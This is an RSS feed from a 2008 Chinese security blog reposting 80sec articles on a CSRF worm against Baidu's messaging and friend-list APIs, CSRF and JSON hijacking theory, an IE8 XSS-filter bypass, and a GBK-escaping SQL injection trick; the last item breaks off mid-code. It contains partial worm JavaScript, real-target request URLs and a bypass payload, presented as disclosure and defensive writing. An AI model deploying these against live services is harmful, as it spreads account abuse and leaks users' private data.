<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet href='http://feed.feedsky.com/styles/temp01.xsl' type='text/xsl' ?><!--这是一个由Feedsy提供技术支持的Feed，为了提高读者阅读的体验，以及满足用户美化自己Feed的需要，我们设计了多种精美的Feed模板，提供给大家选择，所有最终呈现出来的样式，皆由用户自愿选择使用，未经许可，任何团体和个人，请不要擅自修改样式或者盗用，这是对于用户选择权的尊重。--><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:fs="http://www.feedsky.com/namespace/feed" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><atom:link href="http://feed.feedsky.com/cmwl" type="application/rss+xml" rel="self"></atom:link><fs:self_link href="http://feed.feedsky.com/cmwl" type="application/rss+xml"></fs:self_link><lastBuildDate>Tue, 23 Sep 2008 02:37:53 GMT</lastBuildDate><title>_mK's Blog</title><description>印象·韵味</description><link>http://cmwlwx.blog.sohu.com/</link><pubDate>Tue, 23 Sep 2008 02:37:53 GMT</pubDate><image><title>http://blog.sohu.com</title><url>http://js.pp.sohu.com/ppp/blog/images/common/logo_150_60.gif</url><link>http://blog.sohu.com/</link><description>搜狐博客</description></image><item><title>百度Hi Csrf蠕虫攻击</title><link>http://item.feedsky.com/~feedsky/cmwl/~1217621/117736118/1219356/1/item.html</link><description>漏洞起因：百度是国内最大的中文搜索引擎。同时百度也提供了百度空间、百度贴吧等
BLOG社区服务，拥有海量的用户群，号称全球最大中文社区。80sec发现过百度产品一系列的安全漏洞，其中一些问题得到了有效的修补，但是百度的产品
仍然存在很多严重的安全漏洞，利用这些漏洞黑客可以制作Web蠕虫，影响百度所有的用户。&lt;br /&gt;&lt;br /&gt;CSRF worm技术分析：&lt;br /&gt;&lt;br /&gt;一. 百度用户中心短消息功能存在CSRF漏洞&lt;br /&gt;&lt;br /&gt;百
度用户中心短消息功能和百度空间、百度贴吧等产品相互关联，用户可以给指定百度ID用户发送短消息，在百度空间用互为好友的情况下，发送短消息将没有任何
限制，同时由于百度程序员在实现短消息功能时使用了$_REQUEST类变量传参，给黑客利用CSRF漏洞进行攻击提供了很大的方便。百度用户中心短消息
功能的请求参数能够被完全预测，只需要指定sn参数为发送消息的用户，co参数为消息内容，就可以成功发送短消息，如下：&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://msg.baidu.com/?ct=22&amp;cm=MailSend&amp;tn=bmSubmit&amp;sn=%E7%94%A8%E6%88%B7%E8%B4%A6%E5%8F%B7&amp;co=%E6%B6%88%E6%81%AF%E5%86%85%E5%AE%B9&quot; title=&quot;http://msg.baidu.com/?ct=22&amp;cm=MailSend&amp;tn=bmSubmit&amp;sn=用户账号&amp;co=消息内容&quot; target=&quot;_blank&quot;&gt;http://msg.baidu.com/?ct=22&amp;amp;cm=MailSend&amp;amp;tn=bmSubmit&amp;amp;sn=用户账号&amp;amp;co=消息内容&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;该漏洞在07年被应用于80SEC测试的百度XSS WORM中，至今尚未修补。&lt;br /&gt;&lt;br /&gt;二. 百度空间好友json数据泄露问题&lt;br /&gt;&lt;br /&gt;百度空间的好友功能数据是使用json格式实现的，此接口没有做任何的安全限制，只需将un参数设定为任意用户账号，就可以获得指定用户的百度好友数据，如下&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://frd.baidu.com/?ct=28&amp;un=%E7%94%A8%E6%88%B7%E8%B4%A6%E5%8F%B7&amp;cm=FriList&amp;tn=bmABCFriList&amp;callback=gotfriends&quot; title=&quot;http://frd.baidu.com/?ct=28&amp;un=用户账号&amp;cm=FriList&amp;tn=bmABCFriList&amp;callback=gotfriends&quot; target=&quot;_blank&quot;&gt;http://frd.baidu.com/?ct=28&amp;amp;un=用户账号&amp;amp;cm=FriList&amp;amp;tn=bmABCFriList&amp;amp;callback=gotfriends&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;该漏洞可以直接被Javascript劫持技术利用，获取用户的好友信息.&lt;br /&gt;&lt;br /&gt;三. 百度认证问题&lt;br /&gt;&lt;br /&gt;web攻击不可避免地依赖于系统的认证，而在百度的认证系统里，所有认证基于SESSION，这样在IE里就不会被IE的隐私策略阻止，会话认证信息每次都会被发送出去，为我们蠕虫的传播提供了必要的条件。&lt;br /&gt;&lt;br /&gt;四. CSRF + JavaScript_Hijacking + Session Auth= CSRF worm&lt;br /&gt;&lt;br /&gt;CSRF
攻击结合Javascript劫持技术完全可以实现CSRF
worm，百度产品的这两个安全问题为实现Web蠕虫提供了所有的条件，80Sec团队已经编写出一只完整的百度csrf蠕虫，这是一只完全由客户端脚本
实现的CSRF蠕虫，这只蠕虫实际上只有一条链接，受害者点击这条链接后，将会自动把这条链接通过短消息功能传给受害者所有的好友，因为百度用户基数很
大，所以蠕虫的传播速度将会呈几何级成长，下面对csrf蠕虫部分代码进行分析：&lt;br /&gt;&lt;br /&gt;1. 模拟服务端取得request的参数&lt;br /&gt;&lt;br /&gt;var lsURL=window.location.href;&lt;br /&gt;loU = lsURL.split(&amp;rdquo;?&amp;rdquo;);&lt;br /&gt;if (loU.length&amp;gt;1)&lt;br /&gt;{&lt;br /&gt;var loallPm = loU[1].split(&amp;rdquo;&amp;amp;&amp;rdquo;);&lt;br /&gt;&lt;br /&gt;省略&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;.&lt;br /&gt;&lt;br /&gt;定义蠕虫页面服务器地址，取得?和&amp;amp;符号后的字符串，从URL中提取得感染蠕虫的用户名和感染蠕虫者的好友用户名。&lt;br /&gt;&lt;br /&gt;2. 好友json数据的动态获取&lt;br /&gt;&lt;br /&gt;var gotfriends = function (x)&lt;br /&gt;{&lt;br /&gt;for(i=0;i&amp;lt;x[2].length;i++)&lt;br /&gt;{&lt;br /&gt;friends.push(x[2][i][1]);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;loadjson(&amp;rsquo;&amp;lt;script src=&amp;rdquo;&lt;a href=&quot;http://frd.baidu.com/?ct=28&amp;un=%E2%80%99+lusername+%E2%80%99&amp;cm=FriList&amp;tn=bmABCFriList&amp;callback=gotfriends&amp;.tmp=&amp;1=2%E2%80%B3&quot; title=&quot;http://frd.baidu.com/?ct=28&amp;un=’+lusername+’&amp;cm=FriList&amp;tn=bmABCFriList&amp;callback=gotfriends&amp;.tmp=&amp;1=2″&quot; target=&quot;_blank&quot;&gt;http://frd.baidu.com/?ct=28&amp;amp;un=&amp;rsquo;+lusername+&amp;rsquo;&amp;amp;cm=FriList&amp;amp;tn=bmABCFriList&amp;amp;callback=gotfriends&amp;amp;.tmp=&amp;amp;1=2&amp;Prime;&lt;/a&gt;&amp;gt;&amp;lt;\/script&amp;gt;&amp;rsquo;);&lt;br /&gt;&lt;br /&gt;通过CSRF漏洞从远程加载受害者的好友json数据，根据该接口的json数据格式，提取好友数据为蠕虫的传播流程做准备。&lt;br /&gt;&lt;br /&gt;3. 感染信息输出和消息发送的核心部分&lt;br /&gt;&lt;br /&gt;evilurl=url+&amp;rdquo;/wish.php?from=&amp;rdquo;+lusername+&amp;rdquo;&amp;amp;to=&amp;rdquo;;&lt;br /&gt;sendmsg=&amp;rdquo;&lt;a href=&quot;http://msg.baidu.com/?ct=22&amp;cm=MailSend&amp;tn=bmSubmit&amp;sn=%5Buser%5D&amp;co=%5Bevilmsg%5D%E2%80%9D&quot; title=&quot;http://msg.baidu.com/?ct=22&amp;cm=MailSend&amp;tn=bmSubmit&amp;sn=[user]&amp;co=[evilmsg]”&quot; target=&quot;_blank&quot;&gt;http://msg.baidu.com/?ct=22&amp;amp;cm=MailSend&amp;amp;tn=bmSubmit&amp;amp;sn=[user]&amp;amp;co=[evilmsg]&amp;rdquo;&lt;/a&gt;&lt;br /&gt;for(i=0;i&amp;lt;friends.length;i++){&lt;br /&gt;省略&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;.&lt;br /&gt;mysendmsg=mysendmsg+&amp;rdquo;&amp;amp;&amp;rdquo;+i;&lt;br /&gt;eval(&amp;rsquo;x'+i+&amp;rsquo;=new Image();x&amp;rsquo;+i+&amp;rsquo;.src=unescape(&amp;rdquo;&amp;lsquo;+mysendmsg+&amp;rsquo;&amp;rdquo;);&amp;rsquo;);&lt;br /&gt;省略&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;.&lt;br /&gt;&lt;br /&gt;整个蠕虫最核心的部分，按照蠕虫感染的逻辑，将感染者用户名和需要传播的好友用户名放到蠕虫链接内，最后输出短消息内容，使用一个FOR循环结构历遍所有好友数据，通过图片文件请求向所有的好友发送感染链接信息。&lt;br /&gt;&lt;br /&gt;4. 注意细节&lt;br /&gt;&lt;br /&gt;由于需要动态加载json数据运行，所以必须注意各个函数执行的先后顺序，否则json数据还未加载完毕，蠕虫核心部分的流程将跑不起来。&lt;br /&gt;&lt;br /&gt;5. CSRF Worm DEMO页&lt;br /&gt;&lt;br /&gt;这里我们提供了一个百度CSRF Worm DEMO页仅供大家进行安全测试，非安全测试的其他行为，80SEC将不负任何责任。测试方法：&lt;br /&gt;&lt;br /&gt;将to参数设置为自己的用户名，登陆百度后点击链接或直接进入页面&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.80sec.com/wish.php?to=%E8%87%AA%E5%B7%B1%E7%9A%84%E7%99%BE%E5%BA%A6%E7%94%A8%E6%88%B7%E5%90%8D&quot; title=&quot;http://www.80sec.com/wish.php?to=自己的百度用户名&quot; target=&quot;_blank&quot;&gt;http://www.80sec.com/wish.php?to=自己的百度用户名&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;五 CSRF worm安全提醒:&lt;br /&gt;&lt;br /&gt;除开百度，国内的社区类、Web2.0类网站如校内网、Myspace、饭否等都存在这类安全问题，黑客可以直接通过CSRF攻击配合各种功能应用针对网站进行CSRF worm攻击，网站可以参考&lt;a href=&quot;#&quot; title=&quot;http://www.80sec.com/csrf-securit.html文档中的安全提醒做进一步的防范。&quot; target=&quot;_blank&quot;&gt;http://www.80sec.com/csrf-securit.html文档中的安全提醒做进一步的防范。&lt;/a&gt;&lt;br /&gt;本站内容均为原创，转载请务必保留署名与链接！&lt;br /&gt;百度Hi Csrf蠕虫攻击:&lt;a href=&quot;http://www.80sec.com/baidu-hi-scrf-worm-attac.html&quot; title=&quot;http://www.80sec.com/baidu-hi-scrf-worm-attac.html&quot; target=&quot;_blank&quot;&gt;http://www.80sec.com/baidu-hi-scrf-worm-attac.html&lt;/a&gt;</description><pubDate>Tue, 23 Sep 2008 10:37:53 +0800</pubDate><author>X4ng's Blog</author><comments>http://cmwlwx.blog.sohu.com/100448943.html#comment</comments><guid isPermaLink="false">http://cmwlwx.blog.sohu.com/100448943.html</guid><dc:creator>X4ng's Blog</dc:creator><fs:srclink>http://cmwlwx.blog.sohu.com/100448943.html</fs:srclink><fs:srcfeed>http://cmwlwx.blog.sohu.com/rss</fs:srcfeed><fs:itemid>feedsky/cmwl/~1217621/117736118/1219356</fs:itemid></item><item><title>CSRF攻击原理解析</title><link>http://item.feedsky.com/~feedsky/cmwl/~1217621/117736119/1219356/1/item.html</link><description>|=&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;=|&lt;br /&gt;|=&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;ndash;=[ CSRF攻击原理解析 ]=&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;=|&lt;br /&gt;|=&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;=|&lt;br /&gt;|=&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;-=[ By rayh4c ]=&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;=|&lt;br /&gt;|=&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;-=[ rayh4c@80sec.com ]=&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;-=|&lt;br /&gt;|=&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;=|&lt;br /&gt;&lt;br /&gt;Author: rayh4c [80sec]&lt;br /&gt;EMail: rayh4c#80sec.com&lt;br /&gt;Site: &lt;a href=&quot;http://www.80sec.com/&quot; title=&quot;http://www.80sec.com&quot; target=&quot;_blank&quot;&gt;http://www.80sec.com&lt;/a&gt;&lt;br /&gt;Date: 2008-9-21&lt;br /&gt;&lt;br /&gt;0&amp;times;00. 前言&lt;br /&gt;&lt;br /&gt;在Web程序中普通用户一般只在Web界面里完成他想要的操作，Web程序接受的正常客户端请求一般来自用户的点击链接和表单提交等行为，可是恶意攻击者却可以依靠脚本和浏览器的安全缺陷来劫持客户端会话、伪造客户端请求。&lt;br /&gt;&lt;br /&gt;0&amp;times;01. CSRF攻击分类&lt;br /&gt;&lt;br /&gt;CSRF
是伪造客户端请求的一种攻击，CSRF的英文全称是Cross Site Request
Forgery，字面上的意思是跨站点伪造请求。这种攻击方式是国外的安全人员于2000年提出，国内直到06年初才被关注，早期我们团队的剑心使用过
CSRF攻击实现了DVBBS后台的SQL注射，同时网上也出现过动易后台管理员添加的CSRF漏洞等，08年CSRF攻击方式开始在BLOG、SNS等
大型社区类网站的脚本蠕虫中使用。&lt;br /&gt;&lt;br /&gt;CSRF的定义是强迫受害者的浏览器向一个易受攻击的Web应用程序发送请求,最后达到攻击者所需要的操作行为。CSRF漏洞的攻击一般分为站内和站外两种类型：&lt;br /&gt;&lt;br /&gt;CSRF
站内类型的漏洞在一定程度上是由于程序员滥用$_REQUEST类变量造成的，一些敏感的操作本来是要求用户从表单提交发起POST请求传参给程序，但是
由于使用了$_REQUEST等变量，程序也接收GET请求传参，这样就给攻击者使用CSRF攻击创造了条件，一般攻击者只要把预测好的请求参数放在站内
一个贴子或者留言的图片链接里，受害者浏览了这样的页面就会被强迫发起请求。&lt;br /&gt;&lt;br /&gt;CSRF站外类型的漏洞其实就是传统意义上的外部提交数据问
题，一般程序员会考虑给一些留言评论等的表单加上水印以防止SPAM问题，但是为了用户的体验性，一些操作可能没有做任何限制，所以攻击者可以先预测好请
求的参数，在站外的Web页面里编写javascript脚本伪造文件请求或和自动提交的表单来实现GET、POST请求，用户在会话状态下点击链接访问
站外的Web页面，客户端就被强迫发起请求。&lt;br /&gt;&lt;br /&gt;0&amp;times;02. 浏览器的安全缺陷&lt;br /&gt;&lt;br /&gt;现在的Web应用程序几乎都是使用
Cookie来识别用户身份以及保存会话状态，但是所有的浏览器在最初加入Cookie功能时并没有考虑安全因素，从
WEB页面产生的文件请求都会带上COOKIE，如下图所示，Web页面中的一个正常的图片所产生的请求也会带上COOKIE：&lt;br /&gt;&lt;br /&gt;&amp;lt;img src=&amp;rdquo;&lt;a href=&quot;http://website/logo.jpg%E2%80%9D&quot; title=&quot;http://website/logo.jpg”&quot; target=&quot;_blank&quot;&gt;http://website/logo.jpg&amp;rdquo;&lt;/a&gt;&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;darr;&lt;br /&gt;&lt;br /&gt;GET &lt;a href=&quot;http://website.com/log.jpg&quot; title=&quot;http://website.com/log.jpg&quot; target=&quot;_blank&quot;&gt;http://website.com/log.jpg&lt;/a&gt;&lt;br /&gt;Cookie: session_id&lt;br /&gt;客户端 &amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;-服务器&lt;br /&gt;&lt;br /&gt;浏
览器的这种安全缺陷给CSRF漏洞的攻击创造了最基本的条件，因为Web页面中的任意文件请求都会带上COOKIE，所以我们将文件地址替换为一个链接的
话，用户访问Web页面就相当于会话状态下自动点击了链接，而且带有SRC属性具有文件请求的HTML标签，如图片、FLASH、音乐等相关的应用都会产
生伪造GET请求的CSRF安全问题。一个web应用程序可能会因为最基本的渲染页面的HTML标签应用，而导致程序里所有的GET类型传参都不可靠。&lt;br /&gt;&lt;br /&gt;0&amp;times;03. 浏览器的会话安全特性&lt;br /&gt;&lt;br /&gt;参照Set-Cookie的标准格式，现今浏览器支持的cookie实际上分为两种形式：&lt;br /&gt;&lt;br /&gt;Set-Cookie:
&amp;lt;name&amp;gt;=&amp;lt;value&amp;gt;[; &amp;lt;name&amp;gt;=&amp;lt;value&amp;gt;] [;
expires=&amp;lt;date&amp;gt;][; domain=&amp;lt;domain_name&amp;gt;] [;
path=&amp;lt;some_path&amp;gt;][; secure][; HttpOnly]&lt;br /&gt;&lt;br /&gt;一种是内存COOKIE，在没有设定
COOKIE值的expires参数，也就是没有设置COOKIE的失效时间情况下，这个COOKIE在关闭浏览器后将失效，并且不会保存在本地。另外一
种是本地保存COOKIE，也就是设置了expires参数，COOKIE的值指定了失效时间，那么这个COOKIE
会保存在本地，关闭浏览器后再访问网站，在COOKIE有效时间内所有的请求都会带上这个本地保存COOKIE。&lt;br /&gt;&lt;br /&gt;Internet
Explorer有一个隐私报告功能，其实这是一个安全功能，它会阻挡所有的第三方COOKIE，比如A域Web页面嵌入了B域的文件，客户端浏览器访问
了A域的Web页面后对B域所发起的文件请求所带上的COOKIE会被IE拦截。除开文件请求情况，A域的Web页面如果使用IFRAME帧包含B域的
Web页面，访问A域的Web页面后，B域的Web页面里的所有请求包括文件请求带上的COOKIE同样会被IE拦截。不过Internet
Explorer的这个安全功能有两个特性，一是不会拦截内存COOKIE，二是在网站设置了P3P头的情况下，会允许跨域访问COOKIE，隐私报告功
能就不会起作用了。&lt;br /&gt;&lt;br /&gt;所以在Internet
Explorer的这个安全特性的前提下，攻击者要进行站外的CSRF攻击使用文件请求来伪造GET请求的话，受害者必须在使用内存COOKIE也就是没
有保存登陆的会话状态下才可能成功。而Firefox浏览器并没有考虑使用这样的功能，站外的CSRF攻击完全没有限制。&lt;br /&gt;&lt;br /&gt;0&amp;times;04. 关于Javascript劫持技术&lt;br /&gt;&lt;br /&gt;近
年来的web程序频繁使用Ajax技术，JSON也开始取代XML做为AJAX的数据传输格式，JSON实际上就是一段javascript，大部分都是
定义的数组格式。fortify公司的三位安全人员在2007年提出了Javascript劫持技术，这是一种针对JSON动态数据的攻击方式，实际上这
也是一种变相的CSRF攻击。攻击者从站外调用一个script标签包含站内的一个JSON动态数据接口，因为&amp;lt;script
src=&amp;rdquo;&amp;gt;这种脚本标签的文件请求会带上COOKIE，用户访问后相当于被迫从站外发起了一个带有身份认证COOKIE的GET请求，web程序
马上返回了用户相关的JSON数据，攻击者就可以取得这些关键的JSON数据加以利用，整个过程相当于一个站外类型的CSRF攻击。&lt;br /&gt;&lt;br /&gt;WEB
应用中的JSON数据大部分使用在个人资料、好友列表等隐私功能里，这类数据一般是web蠕虫最重要的传播功能所需要的数据，而CSRF攻击结合
Javascript劫持技术完全可以分析这类数据制作自动传播的web蠕虫，在一定情况下这种web蠕虫比网站出现跨站脚本漏洞制作的web蠕虫更具威
胁性，几乎不受网站架构的限制，因为攻击者利用的不是传统的Web漏洞而是网站自身正常的功能，如果出现这类CSRF蠕虫，对网站的打击将是灾难性的。&lt;br /&gt;&lt;br /&gt;0&amp;times;05. 安全提醒&lt;br /&gt;&lt;br /&gt;各
个大型社区类网站必须警惕CSRF攻击和相关web蠕虫的爆发,并且针对这类web攻击制定有效的应急措施。同建议程序员不要滥用$_REQUEST类变
量，在必要的情况下给某些敏感的操作加上水印，考虑使用类似DISCUZ论坛的formhash技术提高黑客预测请求参数的难度，注意JSON数据接口的
安全问题等。最后希望大家全面的考虑客户端和服务端整体的安全，注意Internet
Explorer等客户端浏览器一些安全缺陷和安全特性，防止客户端程序的安全问题影响整个Web应用程序。&lt;br /&gt;&lt;br /&gt;参考：&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://blog.csdn.net/lake2/archive/2008/04/02/2245754.aspx&quot; title=&quot;http://blog.csdn.net/lake2/archive/2008/04/02/2245754.aspx&quot; target=&quot;_blank&quot;&gt;http://blog.csdn.net/lake2/archive/2008/04/02/2245754.aspx&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.cgisecurity.com/articles/csrf-faq.shtml&quot; title=&quot;http://www.cgisecurity.com/articles/csrf-faq.shtml&quot; target=&quot;_blank&quot;&gt;http://www.cgisecurity.com/articles/csrf-faq.shtml&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.playhack.net/view.php?id=31&quot; title=&quot;http://www.playhack.net/view.php?id=31&quot; target=&quot;_blank&quot;&gt;http://www.playhack.net/view.php?id=31&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.fortify.com/servlet/downloads/user/JavaScript_Hijacking.pdf&quot; title=&quot;http://www.fortify.com/servlet/downloads/user/JavaScript_Hijacking.pdf&quot; target=&quot;_blank&quot;&gt;http://www.fortify.com/servlet/downloads/user/JavaScript_Hijacking.pdf&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.w3.org/P3P/&quot; title=&quot;http://www.w3.org/P3P/&quot; target=&quot;_blank&quot;&gt;http://www.w3.org/P3P/&lt;/a&gt;&lt;br /&gt;本站内容均为原创，转载请务必保留署名与链接！&lt;br /&gt;CSRF攻击原理解析:&lt;a href=&quot;http://www.80sec.com/csrf-securit.html&quot; title=&quot;http://www.80sec.com/csrf-securit.html&quot; target=&quot;_blank&quot;&gt;http://www.80sec.com/csrf-securit.html&lt;/a&gt;</description><pubDate>Tue, 23 Sep 2008 10:37:14 +0800</pubDate><author>X4ng's Blog</author><comments>http://cmwlwx.blog.sohu.com/100448903.html#comment</comments><guid isPermaLink="false">http://cmwlwx.blog.sohu.com/100448903.html</guid><dc:creator>X4ng's Blog</dc:creator><fs:srclink>http://cmwlwx.blog.sohu.com/100448903.html</fs:srclink><fs:srcfeed>http://cmwlwx.blog.sohu.com/rss</fs:srcfeed><fs:itemid>feedsky/cmwl/~1217621/117736119/1219356</fs:itemid></item><item><title>IE8 XSS Filter Bypass</title><link>http://item.feedsky.com/~feedsky/cmwl/~1217621/117736120/1219356/1/item.html</link><description>&lt;span style=&quot;#&quot;&gt;&lt;div style=&quot;clear: both; margin-top: 5px; margin-right: 5px; margin-left: 5px; &quot;&gt;&lt;h2 style=&quot;#&quot;&gt;&lt;div&gt;&lt;p&gt;转自：80Sec&lt;/p&gt;&lt;p&gt;漏洞说明：IE8是微软新推出的一款浏览器，其对CSS2.1的完整支持，HTML5的支持，内置开发工具等等。IE8在浏览器安全性上有非常大的改进，内置了一款无法卸载的Xss Filter，对非持久型跨站脚本攻击做了比较好的防护。但是80sec在测试IE8时发现，IE8的Xss Filter存在漏洞，导致在一些东方国家的版本里根本不能阻止URL Xss，譬如在中文版本里，利用一些简单的数据就可以Bypass掉IE8的Filter策略。&lt;/p&gt;&lt;p&gt;漏洞站点：http://www.microsoft.com/&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;br /&gt;漏洞分析：由于IE8 Xss Filter在过滤时采取的编码是系统内置编码，在中文版本里将是gb2312，在其他一些东方国家里也会采用相应的宽字节编码。提交一个非法的编码序列如%c1&amp;lt;将被IE8作为一个正常的东方字符来进行Filter的关键字匹配，而在页面显示时，由于页面自己会指定一个编码譬如UTF-8等，在解析的时候%c1&amp;lt;并不是一个有效的UTF8编码，这样就会被当作两个字符，从而导致了&amp;lt;绕过检查，这种不一致性导致了漏洞的产生。&lt;/p&gt;&lt;p&gt;漏洞证明：假设存在如下web脚本：&lt;/p&gt;&lt;p&gt;&lt;code style=&quot;#&quot;&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;header(&amp;quot;Content-Type: text/html; charset=utf-8&amp;quot;);&lt;br /&gt;echo $_GET[c];&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;在东方国家系统的IE8里，如果常规的进行XSS如：&lt;/p&gt;&lt;p&gt;&lt;code style=&quot;#&quot;&gt;&lt;br /&gt;.php?c=&amp;lt;script&amp;gt;alert()&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;将被IE8安全策略阻止，但是如果提交&lt;/p&gt;&lt;p&gt;&lt;code style=&quot;#&quot;&gt;&lt;br /&gt;.php?c=%c1&amp;lt;script&amp;gt;alert()&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;代码可以绕过ie8的xss filter并且执行。&lt;/p&gt;&lt;p&gt;漏洞状态：通知了厂商，等待回应。&lt;/p&gt;&lt;/div&gt;&lt;div style=&quot;text-align: right; clear: both; margin-right: 30px; font-size: 12px; &quot;&gt;&lt;/div&gt;&lt;div style=&quot;#&quot;&gt;本站内容均为原创，转载请务必保留署名与链接！&lt;br /&gt;&lt;a href=&quot;http://www.80sec.com/ie8-xssfilter-bypass.html&quot; title=&quot;IE8 XSS Filter Bypass&quot; style=&quot;font-weight: normal; letter-spacing: 0px; color: rgb(102, 102, 102); text-decoration: none; &quot;&gt;IE8 XSS Filter Bypass&lt;/a&gt;:&lt;a href=&quot;http://www.80sec.com/ie8-xssfilter-bypass.html&quot; title=&quot;IE8 XSS Filter Bypass&quot; style=&quot;font-weight: normal; letter-spacing: 0px; color: rgb(102, 102, 102); text-decoration: none; &quot;&gt;http://www.80sec.com/ie8-xssfilter-bypass.html&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 12px; font-weight: normal; line-height: 15px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/h2&gt;&lt;/div&gt;&lt;div style=&quot;clear: both; margin-top: 5px; margin-right: 5px; margin-left: 5px; &quot;&gt;&lt;div&gt;&lt;a name=&quot;respond&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;</description><category>Web攻防</category><pubDate>Fri, 05 Sep 2008 10:39:10 +0800</pubDate><author>X4ng's Blog</author><comments>http://cmwlwx.blog.sohu.com/99096361.html#comment</comments><guid isPermaLink="false">http://cmwlwx.blog.sohu.com/99096361.html</guid><dc:creator>X4ng's Blog</dc:creator><fs:srclink>http://cmwlwx.blog.sohu.com/99096361.html</fs:srclink><fs:srcfeed>http://cmwlwx.blog.sohu.com/rss</fs:srcfeed><fs:itemid>feedsky/cmwl/~1217621/117736120/1219356</fs:itemid></item><item><title>PHP字符编码绕过漏洞总结</title><link>http://item.feedsky.com/~feedsky/cmwl/~1217621/117736121/1219356/1/item.html</link><description>PS:之前转过来的文章删除了，很多人问为什么，其实没有为什么，也懒得一一解答了，再转过来，存档之。&lt;br /&gt;&lt;br /&gt;其实这东西国内少数黑客早已知道，只不过没有共享公布而已。有些人是不愿共享，宁愿烂在地里，另外的一些则是用来牟利。&lt;br /&gt;该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时，0xbf27本身不是一个有效的GBK字符，但经过 addslashes() 转换后&lt;br /&gt;&lt;br /&gt;变为0xbf5c27，前面的0xbf5c是个有效的GBK字符，所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理，结果漏洞就触&lt;br /&gt;&lt;br /&gt;发了。&lt;br /&gt;&lt;br /&gt;mysql_real_escape_string() 也存在相同的问题，只不过相比 addslashes() 它考虑到了用什么字符集来处理，因此可以用相&lt;br /&gt;&lt;br /&gt;应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。&lt;br /&gt;&lt;br /&gt;方法一：&lt;br /&gt;&lt;br /&gt;改变mysql配置文件my.cnf&lt;br /&gt;&lt;br /&gt;CODE:&lt;br /&gt;[client]&lt;br /&gt;default-character-set=GBK&lt;br /&gt;方法二：&lt;br /&gt;在建立连接时使用&lt;br /&gt;CODE:&lt;br /&gt;SET CHARACTER SET 'GBK'&lt;br /&gt;例：mysql_query(&amp;quot;SET CHARACTER SET 'gbk'&amp;quot;, $c);&lt;br /&gt;问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞&lt;br /&gt;下面是来自&lt;a title=&quot;http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码&quot; href=&quot;http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码&quot; target=&quot;_blank&quot;&gt;http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码&lt;/a&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;$c = mysql_connect(&amp;quot;localhost&amp;quot;, &amp;quot;user&amp;quot;, &amp;quot;pass&amp;quot;);&lt;br /&gt;mysql_select_db(&amp;quot;database&amp;quot;, $c);&lt;br /&gt;&lt;br /&gt;// change our character set&lt;br /&gt;mysql_query(&amp;quot;SET 